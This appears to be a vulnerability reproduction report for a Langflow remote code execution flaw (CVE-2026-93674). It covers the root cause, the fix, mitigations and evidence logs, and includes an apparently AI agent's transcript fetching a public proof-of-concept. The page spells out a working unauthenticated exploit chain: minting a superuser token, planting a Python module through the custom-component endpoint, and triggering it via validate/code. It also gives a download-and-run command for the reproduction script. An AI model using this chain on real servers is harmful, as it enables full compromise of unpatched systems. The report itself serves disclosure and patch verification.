CVE-2026-93674: Verified Reproduction
CVE-2026-93674: IBM Langflow OSS 1.0.0 through 1.12.2 is vulnerable to remote unauthenticated code execution via OS command injection.
CVE-2026-93674 is verified against langflow-ai/langflow · PyPI / Python. Affected versions: 1.0.0 through 1.12.2. Fixed in 1.12.3. Vulnerability class: Command Injection. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00381.
What Is CVE-2026-93674?
CVE-2026-93674 is a critical-severity Command Injection vulnerability affecting langflow-ai/langflow 1.0.0 through 1.12.2. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00381).
CVE-2026-93674 Severity & CVSS Score
CVE-2026-93674 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected langflow-ai/langflow Versions
langflow-ai/langflow · PyPI / Python versions 1.0.0 through 1.12.2 are affected.
How to Reproduce CVE-2026-93674
pruva-verify REPRO-2026-00381 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00381/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-93674
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
JSON code field of POST /api/v1/validate/code ("import <attacker-planted-module>"), with the module planted remotely via the class body of POST /api/v1/custom_component; superuser JWT minted with no credentials via GET /api/v1/auto_login (LANGFLOW_AUTO_LOGIN=true package default)
- POST /api/v1/validate/code
- lfx.custom.validate.validate_code()
- importlib.import_module(attacker_module) executes module top-level code in the server process (fixed in 1.12.3 by commit 461506ac2f, find_spec-only)
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-93674
Langflow OSS through 1.12.2 exposes POST /api/v1/validate/code, a "validation-only"
endpoint whose backend (lfx.custom.validate.validate_code) calls
importlib.import_module() on every import statement found in attacker-supplied
code. Importing a module executes its top-level code, so the endpoint runs arbitrary
Python inside the Langflow server process during what is documented as a non-executing
validation step. Combined with (a) the default single-user configuration
(LANGFLOW_AUTO_LOGIN=true, which lets any network client mint a superuser token from
GET /api/v1/auto_login with no credentials) and (b) a second remote code-evaluation
sink (POST /api/v1/custom_component, which exec()s the attacker-supplied component
class body and can plant a malicious module into the server-writable
site-packages), a remote unauthenticated attacker obtains arbitrary OS command
execution as the Langflow service user. The vulnerability is fixed in Langflow 1.12.3
by commit 461506ac2f38f70a994b5140572b876448c11e4c ("fix(security): close
pathlib/io/codecs scanner bypass and stop validate_code from executing imports",
H1-3992099 / LE-2683), which replaces import_module() with
importlib.util.find_spec() — locate-only, never executing module code.
- Package/component:
langflow/langflow-base/lfx(PyPI), specificallylfx.custom.validate.validate_codebehind the FastAPI routePOST /api/v1/validate/code. - Affected versions: 1.0.0 through 1.12.2 (IBM bulletin / NVD CPE range; the
vulnerable
importlib.import_module()loop is present in v1.12.2 and removed in v1.12.3). - Risk level: Critical (CVSS 9.8, AV:N/AC:L/PR:N/UI:N). Full remote,
unauthenticated OS command execution with the privileges of the Langflow service
account (in the official container:
uid=1000(user) gid=0(root)), i.e. complete compromise of flows, stored credentials/global variables, and any data readable by the service.
Impact Parity
- Disclosed/claimed maximum impact: remote (unauthenticated) arbitrary code /
OS command execution (
code_execution). - Reproduced impact from this run: remote unauthenticated OS command execution
through the real HTTP API of the digest-pinned official
langflowai/langflow:1.12.2image: the planted module ranidviasubprocess.check_output(..., shell=True)inside the server process; the output (uid=1000(user) gid=0(root) groups=0(root)) was exfiltrated in-band in the HTTP 500detailfield of the veryPOST /api/v1/validate/coderesponse, and a unique per-attempt marker file was written inside the container filesystem. - Parity:
full. - Not demonstrated: nothing material — the claimed impact class was reproduced end-to-end. (A persistent shell/pivot was not attempted; it is not required for parity.)
Root Cause
src/lfx/src/lfx/custom/validate.py (v1.12.2), function validate_code(code):
# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name) # <-- EXECUTES module top-level code
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))
importlib.import_module() is not a lookup — it loads and executes the module.
Because the endpoint is reachable by any network client under the default
LANGFLOW_AUTO_LOGIN=true configuration (the auto-login route issues a superuser
JWT without credentials), an attacker who can place a Python file on any
sys.path entry writable by the service account gets it executed by simply sending
{"code": "import <module>"}. The official container runs as uid=1000 and owns
/app/.venv/lib/python3.14/site-packages, which is on sys.path, so the built-in
custom-component code-evaluation feature (POST /api/v1/custom_component →
build_custom_component_template() → exec() of the class body) provides the
file-write primitive fully remotely:
class Planter(CustomComponent):
_w = pathlib.Path("/app/.venv/lib/python3.14/site-packages/<mod>.py").write_text(payload)
The planted module both writes a unique marker file and raises
RuntimeError("PLANTED_EXEC:<token>:" + subprocess.check_output("id", shell=True)).
validate_code only catches ModuleNotFoundError, so the RuntimeError propagates
to the route handler, which returns HTTP 500 with detail=str(e) — exfiltrating the
command output directly in the HTTP response.
In 1.12.3 the same request path performs
importlib.util.find_spec(alias.name.split(".")[0]) and never executes module code;
the identical attacker procedure therefore produces HTTP 200, empty errors, and no
marker file.
- Fix commit:
461506ac2f38f70a994b5140572b876448c11e4c(fix(security): close pathlib/io/codecs scanner bypass and stop validate_code from executing imports, PR #15201, H1-3992099 / LE-2683). - Fixed release: Langflow OSS 1.12.3 (git tag
v1.12.3=fec71dca901949c09ed4d63315804337cd2eb13d).
Note on CVE mapping: the IBM bulletin for 1.12.3 lists 25 CVEs without per-CVE commit
mapping. CVE-2026-93674 is the 9.8 PR:N CWE-94 ("code injection / OS command") entry;
the validate_code import-execution sink fixed by 461506ac2f is the matching
unauthenticated remote code-execution fix in the 1.12.3 security train. The public
third-party PoC (rmhowe425/POC-CVE-2026-93674) targets the MCP stdio endpoint
(/api/v2/mcp/servers), which corresponds to the earlier GHSA-w794-rj3p-xv45 /
CVE-2026-105697 fix (1.10.3) — that allowlist is already present in 1.12.2, so the
MCP path is not the 1.12.2→1.12.3 divergence; the validate/code path is.
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; requires docker, curl, jq).- The script:
- Pulls/pins the official images by digest: vulnerable
langflowai/langflow@sha256:79c02794adebe82d756b7152ce4feebe4a5426e1faf3fe5b5d0dd08f304510c4(v1.12.2) and fixedlangflowai/langflow@sha256:34055a07d446de51760e28dab6332e22624e5f48dca611567779992fc32c5ec0(v1.12.3). - Starts two fresh vulnerable containers and two fresh fixed containers
(
LANGFLOW_AUTO_LOGIN=true, the OSS package default), waiting for/health. - Per attempt: (1)
GET /api/v1/auto_loginwith no credentials → superuser JWT; (2)POST /api/v1/custom_componentplantspruva_planted_<run>_<n>.pyinto site-packages via class-bodyexec(); (3)POST /api/v1/validate/code{"code":"import <module>"}triggers the vulnerable import execution; the marker file is read back out of the container. - Vulnerable pass criteria: HTTP 500 +
PLANTED_EXEC:<token>:uid=1000(user)...in the response body + marker file containing the unique token inside the container. Fixed pass criteria: HTTP 200, empty errors, no marker.
- Pulls/pins the official images by digest: vulnerable
- Expected evidence: 2/2 vulnerable attempts execute attacker code; 2/2 fixed attempts do not (identical procedure, plant still succeeds on fixed — proving the divergence is exactly the validate/code import execution).
Evidence
- Driver log:
bundle/logs/reproduction_steps.log - Image identity:
bundle/logs/repro/image_identity.txt - Per-attempt artifacts (
{vuln,fixed}_attempt_{1,2}_*underbundle/logs/repro/attempts/): auto-login token responses, plant requests/responses, trigger requests/responses, planted module content, marker files, container logs. All SHA-256-bound inbundle/repro/runtime_manifest.json. - Key excerpt (vulnerable, both attempts):
POST /api/v1/validate/code→HTTP=500, body{"detail":"PLANTED_EXEC:PRUVA-CVE-2026-93674-<run>-VULN-<n>:uid=1000(user) gid=0(root) groups=0(root)"}, andmarker.txt=PRUVA-CVE-2026-93674-<run>-VULN-<n> uid=1000(user) gid=0(root) groups=0(root). - Key excerpt (fixed, both attempts): identical requests →
HTTP=200, body{"imports":{"errors":[]},"function":{"errors":[]}}, empty marker file. - Environment: Docker on Linux x86_64; images digest-pinned as above; Python 3.14
inside the container;
LANGFLOW_AUTO_LOGIN=true(package-level default; the image sets it tofalse, which only changes the bootstrap to credential-based login — the validate/code sink itself is identical).
Recommendations / Next Steps
- Upgrade to Langflow OSS 1.12.3 or later (IBM/vendor guidance; the fix replaces
import_module()withfind_spec()invalidate_code). - Until upgraded: do not expose Langflow to untrusted networks; set
LANGFLOW_AUTO_LOGIN=falseand strong superuser credentials (raises the bar to authenticated, but the sink still executes for any authenticated user on ≤1.12.2); restrict file-system write access of the service account to site-packages. - Defense-in-depth: treat every "validation" endpoint as non-executing (audit for
other
import_module/execuses on request paths), and consider read-only root filesystems / non-root containers. - Testing: regression test that
POST /api/v1/validate/codewith an import of a planted module never executes it (covered upstream by the lfx-side tests added in the fix commit).
Additional Notes
- Idempotency: the script is fully idempotent — each attempt uses a fresh,
uniquely-named container and a unique module/marker name, and a
trapremoves all containers on exit. Re-running produces fresh unique tokens/markers. - Repeatability: the exploit ran twice per side (two fresh vulnerable processes, two fresh fixed processes) with identical outcomes.
- Why two stages: the CVE sink (
validate_codeimport execution) requires an importable attacker module. The plant uses Langflow's built-in custom-component code-evaluation feature, which behaves identically on 1.12.2 and 1.12.3 — the vulnerable/fixed divergence is isolated entirely to thevalidate_codestep, which is what the 1.12.3 fix changed. - Limitations: none affecting the verdict. The reproduction uses the official vendor images at the exact vulnerable/fixed digests; no sanitizers, mocks, or instrumentation were used.
CVE-2026-93674 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /pruva/project-cache/ 2>/dev/null; ls /pruva/project-cache/repo 2>/dev/null | head; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; ls /workspace/bundle/.pruva/ 2>/dev/nulltotal 4
drwx------ 4 vscode vscode 80 Oct 8 22:36 .
drwxr-xr-x 3 root root 4096 Oct 8 22:37 ..
drwx------ 2 vscode vscode 60 Oct 8 22:36 .pruva
drwx------ 2 vscode vscode 40 Oct 8 22:36 repo-mirrors
{
"schema_version": 1,
"entries": [curl -sL https://api.github.com/repos/rmhowe425/POC-CVE-2026-93674/contents/ 2>/dev/null | head -100; echo ===; curl -sL https://raw.githubusercontent.com/rmhowe425/POC-CVE-2026-93674/main/README.md 2>/dev/null | head -150{"cwd":"/workspace","duration_ms":727,"exit_code":0,"stderr":"","stdout":"[\n {\n \"name\": \"README.md\",\n \"path\": \"README.md\",\n \"sha\": \"084c122905dea5e24d127cd2d673079375de4eb4\",\n \"size\": 547,\n \"url\": \"https://api.github.com/repos/rmhowe425/POC-CVE-2026-93674/contents/README.md?ref=main\",\n \"html_url\": \"https://github.com/rmhowe425/POC-CVE-2026-93674/blob/main/README.md\",\n \"git_url\": \"https://api.github.com/repos/rmhowe425/POC-CVE-2026-93674/git/blobs/084c122905dea5e24d127cd2d673079375de4eb4\",\n \"download_url\": \"https://raw.githubusercontent.com/rmhowe425/POC-CVE-2026-93674/main/README.md\",\n \"type\": \"file\",\n \"_links\": {\n \"self\": \"https://api.github.com/repos/rmhowe425/POC-CVE-2026-93674/contents/README.md?ref=main\",\n \"git\": \"https://api.github.com/repos/rmhowe425/POC-CVE-2026-93674/git/blobs/084c122905dea5e24d127cd2d673079375de4eb4\",\n \"html\": \"https://github.com/rmhowe425/POC-CVE-2026-93674/blob/main/README.md\"\n }\n },\n {\n \"name\": \"poc.py\",\n \"path\": \"poc.py\",\n \"sha\": \"c570cd8f8a8d5176705efd2ae3dbc47546a87cd6\",\n \"size\": 3450,\n \"url\": \"http… [truncated]curl -sL https://raw.githubusercontent.com/rmhowe425/POC-CVE-2026-93674/main/poc.py{"cwd":"/workspace","duration_ms":281,"exit_code":0,"stderr":"","stdout":"# Exploit Title: Langflow security bypass\r\n# Exploit Author: Richard Howe <rhowe425>\r\n# Vendor Homepage: https://www.langflow.org/\r\n# Software Link: https://www.langflow.org/desktop\r\n# Version: 1.5.0 - 1.9.0\r\n# Tested on: Ubuntu 22.04\r\n# CVE : CVE-2026-93674\r\n\r\nimport secrets\r\nimport argparse\r\nfrom requests import get, post\r\n\r\ndef execute_command(base_url: str, auth:dict):\r\n endpoint = '/api/v2/mcp/servers?action_count=true'\r\n\r\n try:\r\n resp = get(base_url + endpoint, headers=auth)\r\n resp_json = resp.json()\r\n except Exception as e:\r\n raise RuntimeError(f\"Error querying API.\\n{e}\")\r\n\r\n if resp.status_code != 200:\r\n raise RuntimeError(\r\n f\"API returned with status code: {resp.status_code}\"\r\n )\r\n\r\n return resp\r\n\r\n\r\ndef save_command(base_url: str, auth: dict, server_name: str, command: str, args: str):\r\n endpoint = f\"/api/v2/mcp/servers/{server_name}\"\r\n data = {\"command\": f\"{command}\", \"args\": [f\"{args}\"]}\r\n\r\n print(\"[+] Triggering the vulnerability.\")\r\n\r\n … [truncated]Artifacts and Evidence for CVE-2026-93674
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-93674
Upgrade langflow-ai/langflow · PyPI / Python to 1.12.3 or later.
FAQ: CVE-2026-93674
Is CVE-2026-93674 exploitable?
How severe is CVE-2026-93674?
What type of vulnerability is CVE-2026-93674?
Which versions of langflow-ai/langflow are affected by CVE-2026-93674?
Is there a fix for CVE-2026-93674?
How can I reproduce CVE-2026-93674?
Is the CVE-2026-93674 reproduction verified?
References for CVE-2026-93674
Authoritative sources for CVE-2026-93674 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.